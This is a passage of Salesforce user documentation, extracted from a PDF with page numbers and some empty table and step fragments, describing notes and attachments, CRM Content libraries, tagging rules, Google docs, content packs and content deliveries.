Consider the following when working with notes, attachments, and Google docs:
To access a Google doc from a record detail page, the doc must be shared with your Google Apps account.
287
Creating Notes
The size limit for an attached file is 5 MB when attached directly to the related list, including a file attached to a solution.
When a file is attached to a records Chatter feed its added to the Notes and Attachments related list as a feed attachment,
and the file size limit is 2 GB. The size limit for all files attached to an email is 10 MB.
All notes and attachments added to contacts and opportunities roll up under the associated account as well.
You cannot edit a note or attachment unless you also have access to edit the record associated with it.
To delete a note or attachment, you must be the owner of the note or attachment or an administrator with the Modify
all Data permission. Note ownership is determined by the owner field. Attachment ownership is determined by the created
by field.
Record owners (except Portal users) can delete attachments on records.
Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them
and administrators. For administrators to view private notes and attachments, they need the View All Data permission;
to edit or delete them, they need the Modify All Data permission.
The Notes and Attachments related list includes files from Salesforce CRM Content when they are posted to a Chatter
feed on a record. However, the Notes and Attachments related list does not include Salesforce CRM Content files that
only exist in Salesforce CRM Content. If your organization has Salesforce CRM Content enabled, you can add the Related
Content related list to the detail pages for accounts, contacts, leads, opportunities, cases, products, or custom objects. For
more information, see Finding Salesforce CRM Content on page 319.
Click Preview next to a feed attachment to display a preview of the file. Not all files can be previewed, such as copy-protected
PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't
available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features
don't display correctly in previews.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal
users can download feed attachments, but can't preview, edit, or delete them.
See Also:
Tagging Records
Using Google Docs in Salesforce
Creating Notes
Adding Attachments
Note and Attachment Fields
Deleting Notes and Attachments
Salesforce CRM Content Overview
Creating Notes
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To create a note, click New Note in the Notes and Attachments related list of a record. Specify a description of the note and
its contents. The contents can contain up to 32KB of data.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the note. Spell Checker checks
the body of the note, not the title. Spell Checker does not support all the languages that Salesforce supports. For example,
Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese.
288
Adding Attachments
Click Save when you have finished. Note that you need to have access to edit the record in order to create a note associated
with it.
Note: Any notes you add from contact or opportunity pages will display in the Notes and Attachments related list of
that record, as well as in the related list for the account they are associated with.
See Also:
Adding Attachments
Note and Attachment Fields
Adding Attachments
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and
Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or
event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from
Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
1.
2.
3.
4.
After a file is attached to the Attachments or Notes and Attachments related list, you can click View All to view the details
of all the attachments on the related list. Note that the View All button only displays when there are records to view.
See Also:
Creating Notes
Note and Attachment Fields
File Size Limits in Salesforce
289
Notes and attachments have the following fields, listed in alphabetical order.
Attachment Fields
Field
Description
Description
File Name
Private
Size
Note Fields
Field
Description
Body
Private
Title
See Also:
Adding Attachments
Creating Notes
290
To delete a note or attachment, click Del next to the note or attachment in the Notes and Attachments related list or
Attachments related list of a record. Deleted notes and attachments can be restored from the Recycle Bin.
To delete a file that was attached from a Chatter feed, click Del next to the feed attachment. This removes the file from all
Chatter feeds where it's been shared and deletes the file from the Notes and Attachments related list. Restore the file by
clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached from your computer, a Chatter
feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments related list also removes it
from the post, but doesn't delete it from its original location.
See Also:
Recycle Bin
With Salesforce CRM Content you can organize, share, search, and manage content within your organization and across key
areas of the Salesforce application. Content can include all file types, from traditional business documents such as Microsoft
PowerPoint presentations to audio files, video files, Web pages, and Google docs.
To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce
Knowledge, Documents, and Attachments on page 2441.
Overview
Salesforce CRM Content simplifies content management by incorporating user-friendly features into the following tasks:
Organizing
Rather than keep files in folders that make content difficult to find, Salesforce CRM Content stores files in fully searchable
file repositories known as libraries. Administrators can create multiple libraries based on any classification, such as
department name, job function, or team, then configure user permissions within the library to balance content access
with security. Authors assign descriptive labels called tags to help classify and organize content across libraries. You can
view a list of all content that belongs to a particular tag or filter search results based on a tag or tags. Salesforce CRM
Content also provides personal libraries, which allow users to reduce the clutter on their desktops while using
content-management benefits such as document search and version control.
291
Searching
The powerful Salesforce CRM Content search engine scans the entire body of the document as well as content properties
such as the title, description, tags, categorization data, and author name. You can filter searches by featured content, file
format, author, tags, libraries, or custom fields and then view the results with various levels of detail, providing an easy
way to find relevant content quickly. If Chatter is enabled for your organization, you can also filter your search results
by Chatter files. The smart bar graphic for downloads, comments, ratings, and subscribers allows you to compare
documents within a search result set.
Subscribing
Once a file is located, subscribing to it ensures that you receive an email notification when new versions are published
or changes are made to the file's properties. You can also subscribe to authors, tags, and libraries, thus reducing the time
spent searching for new or updated content. Notification emails will arrive real-time or once daily, depending on your
preferences.
Previewing
In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to
you. The content details page provides document details at a glance, including document title, author, description, tags,
libraries, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word,
Excel, or Adobe PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft
Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed.
Contributing
Uploading new or revised files in Salesforce CRM Content is fast and easy. During the upload process you choose a
library and content type for your file or Web link, write a description, assign one or more tags, and fill out any customized
fields that help categorize and define your content. Version management does not require checking files in and out,
rather, you simply upload a new version of the file and Salesforce CRM Content maintains a version list accessible from
the content details page. You can download past versions of a file and read all reason-for-change comments that an
author may have included with a new version.
Reviewing Usage and Providing Feedback
Salesforce CRM Content provides several methods for determining whether content is valuable to readers. Featuring a
piece of content increases its visibility in search results. Voting thumbs up or thumbs down on a file, Web link, or Google
doc and adding comments allow you to participate directly in content improvement. You can also see who has subscribed
to a file, link, or doc and how many times files have been downloaded. The Reports tab allows you to create standard or
custom reports on Salesforce CRM Content data. If the content delivery feature is enabled, you can send content to
colleagues, leads, and contacts and then track how often the content has been previewed or downloaded.
Sharing Content in Salesforce
Salesforce CRM Content is also integrated with leads, accounts, contacts, opportunities, cases, products, and custom
objects. If Salesforce CRM Content functionality is enabled on the Opportunity tab, for example, Salesforce CRM
Content uses the fields on the opportunity detail page to search for files that may be relevant to that opportunity. You
can drill down in the search results as needed or run your own search and then attach one or more files to the opportunity.
The most current version of the file will be available on the detail page for the life of the opportunity.
Sharing Content in Salesforce Mobile
Salesforce CRM Content is available in Salesforce Mobile. Users can share content with customers and colleagues from
the mobile application when they're away from their desks. To enable Salesforce CRM Content for the mobile application,
mobilize the content object and specify which content records are synchronized to the mobile device.
Implementation Tips
To implement Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1443.
292
Before creating libraries, review the files you plan to store in Salesforce CRM Content to determine how many libraries
you need and what content belongs in each library. Users are given access to content based on library.
If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather
than adding users to the library individually.
To enable Salesforce CRM Content functionality for leads, accounts, contacts, opportunities, cases, products, or custom
objects, add the Related Content related list to the appropriate page layout. For more information, see Customizing Page
Layouts on page 1278.
To send web-formatted content to colleagues, leads, or contacts and associate it with Salesforce records, add the Content
Deliveries related list to the page layout for leads, accounts, contacts, opportunities, cases, campaigns, or custom objects.
For more information about content deliveries and a full list of implementation tips and best practices, see Setting up
Content Deliveries on page 1462.
To allow users to publish, edit, and search in any of the Salesforce-supported languages, go to Your Name > Setup >
Customize > Salesforce CRM Content > Settings and click Enable multi-language search and contribute.
To associate Google docs with a library, the Add Google Doc to Salesforce service must be activated for your organization.
For more information, see Activating Google Docs in Salesforce on page 331.
If you want PDFs to open inline rather than in a separate window, go to Your Name > Setup > Customize > Salesforce
CRM Content > Settings and click Do not open PDFs in a separate window. Copy-protected PDFs can't be
previewed.
Salesforce CRM Content is available via the Customer Portal and partner portal. For more information, see Enabling
Salesforce CRM Content in the Customer Portal on page 1690 and Enabling Salesforce CRM Content in the Partner Portal
on page 3467.
For information about using Google Docs with Salesforce CRM Content, see Contributing Google Docs to Salesforce
CRM Content on page 303.
All Salesforce CRM Content items display as primary tabs in the Service Cloud Console. For more information, see Service
Cloud Console Overview on page 3312.
Best Practices
If you are using the Related Content related list on Salesforce objects, align your custom content fields with the standard
and custom fields on the object to increase the accuracy of a Find Content search. Clicking the Find Content button
on the related list matches content to the fields on the record and displays search results containing the related content.
To ensure that content is classified consistently, define consistent tag names with your contributors. For example, by
establishing tag names at the outset, you can avoid having tags such as channel and channels in the same library.
Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.
To highlight valuable content and make it easier to find, mark it as featured on the content details page. Featured content
receives a higher priority than similar content in search results, and appears on the Libraries tab for easy access. To feature
content, users must have the Feature Content option checked in their library permission.
If your organization uses Google Docs, encourage library members to add their Google docs to a library. Including Google
docs in Salesforce CRM Content allows users to access all types of content from a single location and apply Salesforce
CRM Content functionality, such as votes, comments, and subscriptions, to Google docs.
293
Managing Libraries
Managing Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To edit libraries:
definition
Clicking the Libraries tab opens the libraries home page. On the home page you can access your personal library, create new
libraries in Salesforce CRM Content, choose a specific library to view or edit, and analyze library usage and activity. For details
about the publishing options at the top of the page, see Uploading and Publishing Content on page 299. The libraries home
page has two tabs: Shared Content, which provides information about shared libraries, and My Personal Content, which
contains information about your personal library.
Shared Content
The Shared Content tab on the libraries home page contains the following sections:
My Libraries
This section lists all the libraries to which you have access. Click a library name to view details about that library or click
Browse to view a list of all the content in the library. Click the New button to create new libraries, add users to a library,
or assign library permissions to users. For more information, see Creating Libraries on page 1458.
Featured Content
This section lists the five pieces of content in your libraries most recently designed as featured. Featured content receives
a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales
asset, any featured files with that term will appear at the top of the search results list. To see all featured content, click
Show All. To toggle a piece of content's feature status on or off, go to its content details page.
Top Content
This section includes lists that summarize content activity across all your libraries. Each list sorts content according to
specific criteria. Within a list, click a file icon to download content or click a title to open the associated content details
page. In the Top Content section you can choose from the following categories:
Publication DateThis content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.
294
Managing Libraries
Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.
RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
Num CommentsThis content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.
Popular Tags
This section, commonly referred to as a tag cloud, shows you how the content in your libraries has been labeled. Tags
are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name to view
search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size within
the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You can
choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags.
Recent Activity
This section is a snapshot of activity within your libraries. It shows the most recent files, Web links, and Google docs
to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.
Most Active Contributors
This section shows the authors who have published content into your libraries most frequently. The names increase in
size according to activity, so the largest names are the authors who have contributed the most content.
My Personal Content
The My Personal Content tab on the libraries home page is your private library. When you upload or create content and do
not select a public library, your content is stored in your private library. You can publish content to a public library at any time
or leave content in your private library indefinitely. Content in your private library can be assembled in content packs. It can
also be sent to leads and contacts outside your organization using the content delivery feature. See Setting up Content Deliveries
on page 1462 for more information. The My Personal Content tab has the following sections:
Personal Library
If you choose the Save to my personal library option when publishing a file, Web link, content pack, or Google doc,
your content is saved here. You can publish or delete files from this list or click the file's name to view its content details
page. The following options that are available on the content details page for shared content are not available for
personal-library content: tagging, rating, subscribing, tracking downloads, tracking subscriptions, or using custom fields.
If you publish a file from the Personal Library list and click Cancel during the publishing process, your file is deleted.
Upload Interrupted
If an error occurs when you are uploading a new file, for example your browser crashes or your session times out, the file
you were uploading is saved here. Click Publish to publish the file to a public library or save it to your personal library.
If you click Cancel on the Save or Publish Content dialog, your file will be deleted.
295
See Also:
Creating Libraries
Managing Library Permissions
Viewing and Editing Libraries
Uploading and Publishing Content
Searching for Content
Creating Content Deliveries
definition
To add or remove library members:
definition
Once you have located a Salesforce CRM Content library in the My Libraries area of the Libraries tab home page or on a
content details page, click the library name to display detailed information. For details about the publishing options at the top
of the page, see Uploading and Publishing Content on page 299.
From the library title area, you can click the following quick links:
Browse to view search results showing all the content in the library.
Edit to change the library name or description.
Delete to delete an empty library. If you want to delete a library that contains content, you must first move the content to
another library or delete it and empty the Recycle Bin.
Note: If your Recycle Bin is empty and you are unable to delete the library, another user's Recycle Bin may contain
deleted content from the same library. A library cannot be deleted until all its content is permanently deleted or
moved to another library.
296
Edit Members to add or remove library members or change their library permission.
Tagging Rules to change the tagging method permitted in the library.
Content Types to restrict the content types available to library contributors.
View Archived Content to view a list of archived content in the library. If you do not have the Archive Content or
Manage Libraries privilege in your library permission, the archived content list only contains content that you authored
and archived, not content that other authors archived.
Publication DateThis content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.
Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.
297
RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
Num CommentsThis content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.
Popular Tags
This tag cloud shows you how the content in your library has been labeled. Tags are descriptive terms assigned during
upload or revision that help classify and organize content. Click a tag name to view search results containing all the files,
Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to popularity,
meaning that the largest tags have been assigned to the most content. You can choose to sort the tags alphabetically or
by popularity. The tag cloud contains the 30 most popular tags.
Recent Activity
This section is a snapshot of activity within your library. It shows the most recent files, Web links, and Google docs to
receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.
Most Active Contributors
This section shows the authors who have uploaded content into your library most frequently. The names increase in size
according to activity, so the largest names are the authors who have contributed the most content.
See Also:
Managing Libraries
Creating Libraries
Assigning Library Tagging Rules
Restricting Content Types
Searching for Content
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content
298
definition
OR
Add Content checked in your library permission definition
The Libraries tab has several publishing-related options at the top of the page that let you upload, classify, and publish files,
content packs, Web links, and Google docs in Salesforce CRM Content.
Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the
Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 331.
For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see
Installing the Add Google Doc to Salesforce Browser Button on page 336.
To publish files, Web links, and Google docs in Salesforce CRM Content, or to create content packs, refer to the following
topics:
See Also:
Salesforce CRM Content File Size Limits
Using Google Docs in Salesforce
Searching for Content
Updating Content Versions
299
definition
OR
Add Content checked in your library permission definition
None
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
300
8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.
Note:
Unique values in custom fields that are set for the first version of a file aren't included if you upload a new version.
You can set the unique values in the new version as long as they aren't the same as a previous version.
Files published to a shared library are added to your Files tab and available to other Chatter users in your organization.
Files published to your personal library are added to your Files tab, but are private and not shared with anyone.
For more information about Chatter files and Salesforce CRM Content files, see What is the difference between
Files, Salesforce CRM Content, Salesforce Knowledge, and Documents? on page 3566
Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of
5,000 new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new
versions per 24hour period.
See Also:
Salesforce CRM Content File Size Limits
Uploading and Publishing Content
Managing Libraries
Contributing Web Links to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content
The following are maximum file size limits for files in Salesforce CRM Content:
2 GB
10 MB for Google Docs
38 MB when uploaded via the API
10 MB when uploaded via Visualforce
See Also:
Uploading and Publishing Content
Using Google Docs in Salesforce
Searching for Content
Updating Content Versions
301
definition
OR
Add Content checked in your library permission definition
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
302
8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.
See Also:
Uploading and Publishing Content
Contributing Files to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content
With Google Docs, you can create and share on-demand documents, presentations, and spreadsheets (Google docs) and
see your changes in real time as you collaborate with other users. Associating your Google docs with Salesforce CRM Content
allows you to access all types of content from a single, fully-indexed location. It also ensures that your Google docs receive the
feedback and tracking benefits provided by Salesforce CRM Content features such as votes, comments, and subscriptions.
Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the
Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 331.
For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see
Installing the Add Google Doc to Salesforce Browser Button on page 336.
Adding New Google Docs to a Salesforce CRM Content Library
1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc
drop-down button. You may be prompted to log in to Google Apps.
2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens
and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens.
3. In the Save or Publish Content dialog:
a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who
view the doc's content details page in Salesforce CRM Content.
b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose
Save in my personal library.
303
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. To publish the content on behalf of another author, choose that author from the drop-down list.
e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags
in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or
click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content
or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the
doc and provide feedback such as comments and votes.
Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.
Adding Existing Google Docs to a Salesforce CRM Content Library
If you have an existing Google doc, you can publish it into a library:
1. On the Libraries tab, choose Add Existing from the Add Google Doc drop-down button. A list of all the Google docs in
your Google Apps account displays.
2. Optionally, limit your list of docs by entering a search term or choosing to view only documents, presentations, or
spreadsheets.
3. Select the Google doc that you want to add to Salesforce CRM Content and click Contribute.
4. Optionally, edit the title of your Google doc and/or add a description.
5. Choose a library. If you do not want to add the doc to a public library, for example if the doc is still in progress, choose
Save in my personal library.
6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
304
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
10. After completing the custom fields, click Publish or Save.
See Also:
Salesforce CRM Content File Size Limits
Using Google Docs in Salesforce
Uploading and Publishing Content
definition
OR
Add Content checked in your library permission definition
A content pack is a collection of related documents or files that are stored as a group in Salesforce CRM Content. For example,
you may want to create a content pack with a product list, price quote, and contract to send to a particular customer. Any file
in Salesforce CRM Content can be added to a content pack, from traditional business documents such as Microsoft PowerPoint
presentations and Adobe PDF files, to audio files, video files, and Google docs. Using email or instant messaging, you can
distribute the content pack to colleagues in your organization or leads and contacts outside your organization. The recipient
of a content delivery can click a single URL to open a preview player with which he or she can preview and download the
content. You can then view tracking information to see how often the content pack was viewed and which documents were
downloaded. For information about delivering content packs, see Setting up Content Deliveries on page 1462.
Note: Content packs support all files types; however, the preview player launched by the content-delivery URL displays
only PowerPoint, Word, Excel, and PDF files. The preview player does not display copy-protected PDFs. Also,
working with content packs requires Adobe Flash Player, version 9.0.11.5 or higher. If you do not have Flash installed,
Salesforce provides a link to Adobe's website where you can download Flash for free.
305
To create a new content pack, click the Libraries tab and then choose Create New > Content Pack.
To create a new content pack by copying an existing pack and adding, removing, or reordering files, open the content
details page for the pack and click Clone & Customize.
To update a content pack and publish a new version, open the content details page for the pack and click Edit > Edit
Content Pack.
2. Click Search files to display all the content in your libraries. To refine your results, select a specific library to search or
enter a search term in the text box.
In addition to files and documents, search results also list content packs.
3. Drag the desired content from the search results into the assembly section in the lower half of the window. The following
options help you assemble your content pack:
In the search results, click a document to preview it in the lower half of the window. Choose Add to Content Pack or
Hide preview as needed.
In the search results, hover over a document and click the folder icon ( ) to view the content packs that use the
document.
In the search results, hover over a content pack and click the folder icon ( ) to view all the documents in the pack.
In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the
pack you are assembling.
Click Clear at any time to revert your changes; click Cancel to return to the Libraries tab.
Note: The maximum number of files that can be included in a content pack is 50.
4. When you are done assembling or modifying your content pack, click Save and assign or change the content pack's name.
5. In the Save or Publish Content dialog:
a. Select a library. If you do not want the content pack to be visible to other users in your organization, for example if
your work is still in progress, choose Save in my personal library.
b. Optionally, add or modify the content pack's description.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. If you are modifying the content pack, complete the Reason for Change field.
e. To publish the content on behalf of another author, choose that author from the drop-down list.
f. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags
in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
306
list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
h. Click Publish. You can then view the content details page, return to the Libraries tab, or publish another file.
See Also:
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content
Viewing and Editing Content Subscriptions
None
A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
From the Content Deliveries related list on leads, business accounts, contacts, opportunities, cases, campaigns, and custom
objects you can:
Click Deliver Content to create a new content delivery and associate it with the record you are viewing. For more
information, see Creating Content Deliveries on page 308.
307
Click Preview to open the content delivery. Each time you view a content delivery, it is recorded as one internal view on
the Views related list.
Click the content delivery name to open the detail page for that delivery. For more information, see Viewing and Editing
Content Deliveries on page 310.
See Also:
Salesforce CRM Content Overview
A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
A content delivery can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content
users can also create a content delivery from the content details page or the Related Content related list.
To create a new content delivery:
1. From the Content Deliveries related list, Related Content related list, or the content details page, click Deliver Content.
2. Upload a file or confirm the file name. If you are a Salesforce CRM Content user, search for the content in your libraries
that you want to deliver. Salesforce CRM Content users can search for content in shared libraries or a personal library.
3. Optionally, modify the Delivery Name field. This is the name that identifies your content delivery in Salesforce. We
recommend using a name that will make the delivery easily distinguishable from other deliveries on the same record. The
default delivery name includes the file name and todays date.
308
4. Select the delivery methods that determine how your content can be viewed. The options that appear depend on the file
format you uploaded.
Choose Allow Recipient to View in the Browser to create an online version of the file that recipients can
view in their browser.
Choose Allow Recipient to Download as [file type] file to allow the recipient of your content delivery
to view the content in its original format. For example, if you uploaded a Microsoft Word file, this field will be Allow
download as .doc file.
Choose Allow Recipient to Download as PDF to create a .pdf version of the file. This option is only available
for Microsoft PowerPoint, Word, and Excel files.
5. Select Notify Me of First View or Download if you want to receive an email the first time your recipient clicks
the content-delivery URL.
6. If the content you are delivering is time-sensitive, select the Remove Access to Content on checkbox and enter an
expiration date. By default, the expiration date is 90 days from the current date. After creating your content delivery, you
can change the expiration date at any time on the delivery detail page.
7. Optionally, select Require a Password to Access Content. When you create the content delivery you will receive
a password to include with the delivery URL that you send to your recipients. The password is available for the life of the
delivery on the delivery detail page.
8. Optionally, use the lookup to associate your content delivery with a Salesforce record. The record you were viewing when
you clicked Deliver Content is selected by default.
9. Click Save & Next. Your delivery will usually be ready within a few moments, but you can click Notify Me to exit the
content delivery wizard and be notified via email when your content delivery is ready.
10. If you did not exit the content delivery wizard, click Preview to verify that you are satisfied with the delivery.
Important: Formatting in the original file may not display correctly in the online version. If you chose Allow
Recipient to View in the Browser, preview your content delivery before sending its URL to your
recipients. If you are not happy with the quality of the online version, click Previous and choose to make your
content available in its original file format or a PDF only.
11. Copy and paste the delivery URL and, if applicable, its password into an email or instant message for delivery. The URL
is available on the delivery detail page. For more information, see Viewing and Editing Content Deliveries on page 310.
See Also:
Using the Content Deliveries Related List
